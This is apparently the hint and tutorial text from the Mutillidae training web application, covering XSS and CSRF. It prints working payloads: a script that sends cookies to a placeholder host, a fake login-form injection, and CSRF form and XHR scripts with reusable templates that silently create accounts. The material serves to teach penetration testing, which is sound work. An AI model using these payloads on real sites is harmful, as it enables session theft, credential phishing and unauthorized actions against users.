For XSS:XSS is easy stuff. This one shows off
both reflected (you see the results
instantly) and stored (someone can run across it
later in another app that uses the same database).
"<script>alert("XSS");</script>" is the
classic, but there are far more interesting things you
could do which I plan show in a video later.
For some hot cookie stealing action, try something like:
<script>
new Image().src="http://some-ip/mutillidae/catch.php?cookie="+encodeURI(document.cookie);
</script>
Check out Rsnake's XSS Cheet Sheet
for more ways you can encode XSS attacks that may
allow you to get around some filters.
For CSRF:You can create another page someplace and
make a link to an image that is not an image. You can also
send someone an HTML email with a link inside. Sending links over
HTML aware Instant Messaging like Communicator also works. One of the
quietest methods is to use HTML injection to poison a web page thus
creating a persistant attack. When a user visits the poisoned page,
their browser will reach out to the targe page. Using an AJAX request
can keep the rouge tranaction silent.
You could use something like the following:
<img src="http://localhost/mutillidae/index.php?page=add-to-your-blog.php&input_from_form=hi%20there%20monkeyboy">
This is the easy way to do CSRF with the GET method. Login
as someone, make your page with the link image someplace else,
and then view it. You should now see
something new on the comment wall.
For Cross Site Request Forgery, a tool like the Social
Engineering Toolkit by Dave Kennedy can help.
One interesting concept is injecting server side code. Talk about ownage. This
requires very special circumstances though. Essentially you need the concept of "eval()"
happening on the server-side. In Oracle and SQL Server this command is "EXEC". In JavaScript
the command is "eval()". In PHP and ASP look for "include()". In ColdFusion the tag
fulfills this purpose.
Eval() is the opposite of encoding. It takes a text context and transforms text into
an execution context. Encoding takes potetially dangerous code that could execute and
renders it harmless.
Cross-Site Scripting Tutorial
Cross-Site Scripting occurs because a script is displayed in page output but is not properly encoded.
Because of the lack of proper encoding, the browser will execute the script rather than display it as data.
Pages that encode all dynamic output are generally immune. The page will simply display the script as text
rather than execute the script as code.
The first step to Cross-Site Scripting is to determine which of the sites input is displayed as output.
Some input is immediately output on the same or next page. These pages are candidates for reflected
Cross-Site Scripting. Some input may be stored in a database and output later on the appropriate page.
These situations may be ripe for the most dangerous type of XSS; persistent XSS.
Developers may treat input from forms carefully, while completely ignoring input passed via URL Query
Parameters, Cookies, HTTP Headers, Logs, Emails, etc. The key is to encode ALL output and not just output
that came into the site via forms/POST.
Discovery Methodology
Step 1: For each page under scrutiny, enter a unique string into each form field,
url query parameter, cookie value, HTTP Header, etc., record which value has which unique string,
submit the page, then observe the resulting page to see if any of your unique strings appeared.
Upon finding a unique string, note which value had contained that string and record this on your map.
Unfortunately the input could end up as output on any page within the site, all pages within the site,
or none of them. If the values are not reflected immediately but presented on a later page (for example
in search results) then it should be assumed the value is stored in a database.
Step 2:The second step is to test all the input locations from step #1 with various scripts, css, html tags, etc.
and observe the resulting output. If the site fails to encode output, it is a candidate for XSS.
Methodology: Enter interesting characters such as angle brackets for HTMLi and XSS, Cascading style
sheet symbols, etc. to see if the site encodes this output. If the site does not encode output, try
inserting XSS, CSS, HTML, etc. and watch for execution. If the site has a WAF, this is likely the point
at which you will detect the WAF presence.
This example is of stealing a cookie. This could be reflected or persistent.
To make this persistent, try to get the script stored into
a database field which is later output onto a web page.
<script>alert('Cookies which do not have the HTTPOnly attribute set: ' + document.cookie);</script>
Same example with the single-quotes escaped for databases such as MySQL. This allows the XSS to be stored in the database.
When the web site (or another site) pulls the XSS from the database at a later time, it will be served with the
site content.
<script>alert(\'Cookies which do not have the HTTPOnly attribute set: \' + document.cookie);</script>
Cross site scripting will work in any unencoded output. It does not matter if the value being output
initially came from a form field (usually POST) or URL parameteres (GET). If fact the value can come from any
source. For example, if a web page outputs the user-agent string in whole or part, you can use a tool such
as User-Agent Switcher plug-in for Firefox to attempt XSS via the User-Agent HTTP Header. Any HTTP Header
can be forged with or without tools. If you would like to forge an HTTP Header without tools, try Netcat. Other
options include intercepting and changing the web request after the request leaves the browser. Burp Suite
is an excellent tool to try on your own machine. Try changing the user-agent to the XSS examples on this page.
Also, try this sample HTML injection. The XSS could be directly placed into the database then pulled later. This
can happen from a hacked database, a rouge DBA, or via SQL injection such as with ASPROX. This is why output
encoding is a better defense than input validation for XSS. If the XSS makes it into the database but never has
to pass through the validation to get there, input validation will not work.
<h1>Sorry. There has been a system error.<br /><br />Please login again</h1><br/>Username<input type="text"><br/>Password<input type="text"><br/><br/><input type="submit" value="Submit"><h1> </h1>
Cross-Site Request Forgery Tutorial
(One of many) CSRF Testing Methodology
Obtain permission to test
Identify a sensitive transaction which is in test scope
Execute the transaction (request) using an interception proxy
There is no requirement to forward the request. Capture is sufficient.
Identify the key information in the request
Request method
Action page
Input parameters
Create a "requesting script" which will perform the same request without requiring a user to submit the transaction (i.e. - click the Submit button)
Use the template below. Fill in the $areas$ surrounded by the dollar signs.
Authenticate to the target site and leave the browser open
Save the "requesting script" to an HTML document and open the document in a browser.
View the target site or observer the response to verify the transaction completed
One way to acomplish this using a tool is to use the "Repeater" tab of Burp.
The repeater allows requests to be tried and tweaked until successful. The
"render" feature in the response pane aids in seeing if the request succeeded.
(One of many) General CSRF Exploitation Methodology
Refering to the script created above (if it was possible to authenticate to the site for testing)
otherwise create the script
Locate an injection vulnerability in any site the user may visit while authenticated to target site
Alternatively load the script on a site under control and have the user visit the controlled site
Inject the "requesting script" into the "carrier" page. This could be a persistent XSS or javascript injection into an event action (i.e. - onload, onmouseover)
Visit the poisoned page to verify the script sends the request to perform the transaction
Verify the transaction completed
Exploiting Cross Site Request Forgery in Mutillidae
Virtually all pages are vulnerable although not all pages contain transactions
and not all transactions are sensitive. Possibilities include adding a blog
entry for the current user without them having to visit
the "Add Blog" page or registering a new account of your choice by having
the user visit an infected page.
We already have permission to test Mutillidae assuming it is installed on your local machine.
Lets assume that adding a new user account to Mutillidae is a sensitive transaction.
Using the registration process as an example, start by capturing a request. One way
to capture a request is by using the Burp interception proxy. This tool is preloaded
if using the Samurai Web Testing Framework or Backtrack. Register a new user account
with Burp running and interception enabled.
Here is a sample request captured using Burp on Samurai:
Note the method, action, and input parameters. Use the CSRF template to create an HTML form injection
that can send this request. Here is an example to create a user "sammy" with password "samurai".
<!--/*
The following is an attempt at humor; albeit a very poor attempt.
People often ask "What is the password for samurai?". The answer is below.
Be careful to escape single-quotes if inserting into MySQL.
This example has the single quotes MySQL escaped (' -> \').
The try/catch is just to help you debug. This is not intended
to be used when pen testing because if the exploit fails the user
is going to be notified.
*/-->
<form id="CSRF" method="POST" action="/index.php?page=register.php">
<input name="username" value="sammy" type="hidden" />
<input name="password" value="samurai" type="hidden" />
<input name="confirm_password" value="samurai" type="hidden" />
<input name="my_signature" value="The password is samurai" type="hidden" />
<input name="register-php-submit-button" value="Create+Account" type="hidden" />
</form>
<span onmouseover="try{var lURL=document.location.href;document.getElementById(\'CSRF\').submit();document.location.href=lURL;}catch(e){alert(e.message);}">Hello World</span>
On the Add to your Blog page (http://mutillidae/index.php?page=add-to-your-blog.php),
inject this exploit as a new blog. On either the Add Blog or the View Blog page, carefully
mouseover the blog text and watch for the page to reload. Try to log in with the new user. Trap requests with an
interception proxy like Burp to watch the actual request. Submit the request with XHR to get rid
of that pesky page reload which could alert the user. When using XHR, use an interception
proxy to watch the request and the response. Otherwise you wont notice.
Here is the same example using XHR rather than the "onmouseover" event:
<script>
var lXMLHTTP;
try{
var lData = "username=fred&password=pass&confirm_password=pass&my_signature=signature1®ister-php-submit-button=Create+Account";
var lAction = "/index.php?page=register.php";
var lMethod = "POST";
try {
lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP");
}catch (e) {
try {
lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP");
}catch (e) {
try {
lXMLHTTP = new XMLHttpRequest();
}catch (e) {
alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST.
}
}
}//end try
lXMLHTTP.onreadystatechange = function(){
if(lXMLHTTP.readyState == 4){
alert("CSRF Complete");//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST.
}
}
/////////////////////////////
//UNCOMMENT FOR GET REQUESTS
/////////////////////////////
//xmlhttp.open(lMethod, lAction, true);
//lData="";
/////////////////////////////
/////////////////////////////
//UNCOMMENT FOR POST REQUESTS
/////////////////////////////
lXMLHTTP.open(lMethod, lAction, true);
lXMLHTTP.setRequestHeader("Method", "POST " + lAction + " HTTP/1.1");
lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
/////////////////////////////
lXMLHTTP.send(lData);
}catch(e){
alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST.
}
</script>
Appendix A - CSRF Templates
/* HTML Injection based CSRF template */
<form id="CSRFForm" method="$REQUEST-METHOD-HERE$" action="$SUBMIT-ACTION-PAGE-HERE$">
$FOR-EACH-REQUEST-INPUT-PARAMETER$
<input type="hidden" name="$PARAMETER-NAME$" value="$PARAMETER-VALUE$" />
$END-FOR$
</form>
/* Now choose an event which when triggered will submit the form. Here are some examples */
<body onload='window.document.getElementById("CSRFForm").submit();'>
<span onmouseover='window.document.getElementById("CSRFForm").submit();'>Hello World</span>
/* JavaScript Injection based CSRF template */
/* NOTE: Script tags are only needed if injection is into HTML context.
If injecting into JavaScript context, do not include script tags. */
<script>
var lCSRFForm = window.document.createElement("form");
lCSRFForm.name="CSRFForm";
lCSRFForm.method="$REQUEST-METHOD-HERE$";
lCSRFForm.action="$SUBMIT-ACTION-PAGE-HERE$"
$FOR-EACH-REQUEST-INPUT-PARAMETER$
var lInput = document.createElement("input");
lInput.type="hidden";
lInput.name="$PARAMETER-NAME$";
lInput.value="$PARAMETER-VALUE$";
lCSRFForm.appendChild(lInput);
$END-FOR$
window.document.appendChild(lCSRFForm);
lCSRFForm.submit();
</script>
<script>
var lXMLHTTP;
try{
var lData = "$THE-ENTIRE-POST-PARAMETER-STRING-COPIED-FROM-REQUEST-OR-TYPED-IN$";
var lAction = "$SUBMIT-ACTION-PAGE-HERE$";
var lMethod = "$REQUEST-METHOD-HERE$";
try {
lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP");
}catch (e) {
try {
lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP");
}catch (e) {
try {
lXMLHTTP = new XMLHttpRequest();
}catch (e) {
alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST.
}
}
}//end try
lXMLHTTP.onreadystatechange = function(){
if(lXMLHTTP.readyState == 4){
alert("CSRF Complete");//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST.
}
}
/////////////////////////////
//UNCOMMENT FOR GET REQUESTS
/////////////////////////////
//xmlhttp.open(lMethod, lAction, true);
//lData="";
/////////////////////////////
/////////////////////////////
//UNCOMMENT FOR POST REQUESTS
/////////////////////////////
lXMLHTTP.open(lMethod, lAction, true);
lXMLHTTP.setRequestHeader("Method", "POST " + lAction + " HTTP/1.1");
lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
lXMLHTTP.send(lData);
}catch(e){
alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST.
}
</script>